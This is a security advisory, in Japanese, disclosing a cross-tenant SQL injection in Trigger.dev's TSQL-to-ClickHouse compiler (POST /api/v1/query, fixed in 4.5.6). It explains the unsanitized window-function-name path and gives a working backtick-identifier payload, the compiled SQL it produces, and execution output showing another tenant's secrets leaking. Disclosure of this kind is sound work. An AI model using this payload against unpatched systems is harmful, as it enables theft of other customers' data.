Trigger.dev: TSQLクエリコンパイラにおけるクロステナントSQLインジェクション(POST /api/v1/query) - サニタイズされていないウィンドウ関数の名前が原因

### 概要

TSQLクエリコンパイラのクロステナントSQLインジェクションにより、**trigger.devの認証済み顧客であれば、他のすべてのテナントの分析データを読み取ることが可能**になります。顧客向けのクエリエンドポイントである`POST /api/v1/query`は、`internal-packages/tsql`によってClickHouse SQLにコンパイルされるTSQL/TRQLクエリを受け入れます。コンパイラは、すべてのユーザー入力をパラメータ化またはエスケープし、テナントごとに`WHERE`句を追加します。ただし、**ウィンドウ関数の名前は、許可リストのチェックやエスケープ処理なしに、SQL文字列に連結**されます。攻撃者は、バッククォートで囲まれた識別子をその場所に挿入することで、生のサブクエリ(例:`(SELECT ... FROM task_runs_v2 WHERE organization_id = 'org_VICTIM')`)を注入し、それが**テナントの制限範囲外**に配置されるようにすることで、別の組織の行を不正に取得します。これは、実際のコンパイラと稼働中のClickHouseに対してエンドツーエンドで検証されています。

### 詳細

**脆弱な箇所** — `internal-packages/tsql/src/query/printer.ts:3073-3075`, `ClickHousePrinter.visitWindowFunction`:

```ts
private visitWindowFunction(node: WindowFunction): string {
const args = node.args ? node.args.map((a) => this.visit(a)) : [];
const funcCall = `${node.name}(${args.join(", ")})`; // <-- node.name がそのまま連結される
...
}
```

`node.name`は、**許可リストのチェックや識別子のエスケープ処理なしに**、直接SQLに組み込まれます。コンパイラにおいて、攻撃者が制御できる識別子が、保護なしで出力に到達する唯一の場所です。

- 通常の関数呼び出しパスである`visitCall` (`printer.ts:2951`)では、ハードコーディングされた`TSQL_CLICKHOUSE_FUNCTIONS` / `TSQL_AGGREGATIONS`の許可リストに含まれていない名前に対しては「不明な関数」エラーが発生します。**ただし、このチェックはウィンドウ関数のパスでは行われません**。
- 文字列定数は、ClickHouseの`query_params`としてバインドされます(パラメータ化)。
- その他の識別子は、`escapeClickHouseIdentifier`を経由します。
- テーブル関数(`url()`/`file()`/`remote()`/`s3()`)は拒否されます。

**バッククォートで囲まれた識別子**は、字句解析器によって受け入れられ、`visitIdentifier`によって`node.name`に展開されます(バッククォートが取り除かれ、内部のテキストがエスケープ解除されます)。そのため、任意の文字(スペース、`(`, `)`, `,`, `'`、完全なサブクエリなど)が「関数名」となり、そのまま出力されます。

**テナント分離をどのように回避するか。** マルチテナント環境は、`enforcedWhereClause`によってのみ強制されます。これは、呼び出し元のAPIキーから取得される`organization_id`/`project_id`/`environment_id`に基づいて、**外側の**テーブルの`WHERE`句に付加されます。注入された**サブクエリ**には、そのような保護機構はありません。そのため、すべてのテナントのデータを読み取ることができます。

**到達可能性** — `apps/webapp/app/routes/api.v1.query.ts`:
- `body.query`は、生の`z.string()`です。
- 認証は、環境スコープの資格情報(プライベートAPIキーまたはパブリックJWTなど)であり、つまり、**すべての登録顧客**です。
- このルートの認証 (`detectTables(body.query)` + `everyResource`) は、呼び出し元が正当に読み取る権限を持つ**外側の`FROM`テーブル**のみを許可します。注入は、SELECT/windowの位置に存在するため、そのチェックでは検出されません。
- `executeQuery`は、呼び出し元の`organizationId/projectId/environmentId`を強制された`WHERE`句に渡します。コンパイルされたSQL文字列が、注入されたサブクエリが**SQL文字列自体に埋め込まれた**状態で(バインドパラメータではなく)、ClickHouse (`internal-packages/clickhouse/src/client/tsql.ts`)に送信されます。その後、ClickHouseがそれを実行します。

### 実証

以下の2段階で再現されます。(1)プロジェクトの実際の`compileTSQL`が注入コードを生成します。(2)実行中のClickHouseがそれを実行し、別のテナントのデータを返します。

**1. 攻撃者のTSQL入力**(`POST /api/v1/query`に、有効なAPIキー/JWTとともに`query`フィールドとして送信されます。ここでは`tenant1`として認証されています):

```sql
SELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, dummy(`() OVER () AS x FROM task_runs
```

**2. `compileTSQL`によってコンパイルされたClickHouse SQL(完全なテキスト):**

```sql
SELECT count() OVER (),
(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2
WHERE organization_id = 'org_OTHER_TENANT') AS stolen, -- INJECTED, RAW, UNGUARDED
dummy(() OVER () AS x
FROM trigger_dev.task_runs_v2 AS task_runs
WHERE and(equals(task_runs.organization_id, {tsql_val_0: String}),
equals(task_runs.project_id, {tsql_val_1: String}),
equals(task_runs.environment_id, {tsql_val_2: String})) -- guard ONLY on outer table
LIMIT 10000
```

`org_OTHER_TENANT`に対する注入されたサブクエリは、そのまま(生のまま)出力され(その組織IDはリテラルであり、バインドされた`{tsql_val}`パラメータではない)、テナントの保護範囲外に存在します。

**3. 実際のClickHouseでの実行例。** `trigger_dev.task_runs_v2`テーブルには、2つのテナントのデータが登録されています。上記の構文的に正しいクエリのバリエーションを、`org_tenant1`のスコープで実行します。

```
初期データ:
org_tenant1 -> payload 'tenant1-public-data' (攻撃者の組織)
org_OTHER_TENANT -> 'VICTIM-SECRET-stripe_sk_live_DEADBEEF',
'VICTIM-SECRET-db_password_hunter2' (被害者)

基準となるクエリ(正当な`org_tenant1`のクエリ、保護範囲 = `org_tenant1`):
-> 'tenant1-public-data' (自身のデータのみ)

脆弱性を利用したクエリ(注入されたサブクエリ、保護範囲は依然として`org_tenant1`):
SELECT 1 AS keep,
(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen,
count() OVER () AS w
FROM trigger_dev.task_runs_v2 AS task_runs
WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...)
-> stolen = ['VICTIM-SECRET-stripe_sk_live_DEADBEEF','VICTIM-SECRET-db_password_hunter2']
```

`org_tenant1`のスコープで実行されたクエリにより、`org_OTHER_TENANT`の機密情報が外部に漏洩しました。これは、実際のコンパイラとライブのClickHouse環境でのクロステナントSQLインジェクションが確認されたことを意味します。

`internal-packages/tsql`において、コンパイラの手順を再現します(リポジトリの`src/query/security.test.ts`のテナント設定を反映)。上記の攻撃文字列を、`enforcedWhereClause`を`org_tenant1`に設定してコンパイルし、出力に`(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT')`が含まれていることを検証します。その後、上記のように初期化されたClickHouseに対して、そのSQLを実行します。

影響を受けるパッケージ:
- npm (JavaScript) trigger.dev: 影響範囲はバージョン4.5.5以下、4.5.6で修正済み。